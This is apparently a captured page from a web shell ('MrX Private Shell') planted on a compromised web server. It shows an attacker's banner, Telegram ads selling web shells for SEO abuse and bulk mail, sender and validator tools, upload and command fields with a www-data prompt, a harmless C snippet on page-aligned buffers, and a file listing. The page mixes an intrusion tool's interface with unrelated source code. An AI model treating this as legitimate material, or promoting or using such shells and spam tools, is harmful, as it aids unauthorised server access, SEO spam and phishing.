__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
/* Code fragment of how to get a buffer from the heap that has a specific
 * alignment. The typical alignment is to a "page" whose size is often
 * 4096 bytes. */

    uint8_t * wrkBuff;	/* will get pointer to heap allocation */
    uint8_t * wrkPos;	/* will get aligned pointer within wrkBuff */
    uint32_t sz_of_aligned = 1234;	/* number of aligned bytes required */

    int psz;

#if defined(HAVE_SYSCONF) && defined(_SC_PAGESIZE)
    psz = sysconf(_SC_PAGESIZE); /* POSIX.1 (was getpagesize()) */
#else
    psz = 4096;     /* give up, pick likely figure */
#endif


   /* perhaps use posix_memalign() instead. Yes but not always available */
    wrkBuff = (uint8_t *)malloc(sz_of_aligned + psz);
    wrkPos = (uint8_t *)(((sg_uintptr_t)wrkBuff + psz - 1) & (~(psz - 1)));

/* The disadvantage of this approach is that it needs both wrkBuff and wrkPos
 * to be held by the application. The wrkBuff is only needed for the
 * corresponding free(), all other uses should be via wrkPos. */

Filemanager

Name Type Size Permission Actions
README File 713 B 0644
align_b4_memalign.c File 992 B 0644
llseek.c File 3.29 KB 0644
llseek.h File 317 B 0644
o_scsi_logging_level File 8.52 KB 0755
Filemanager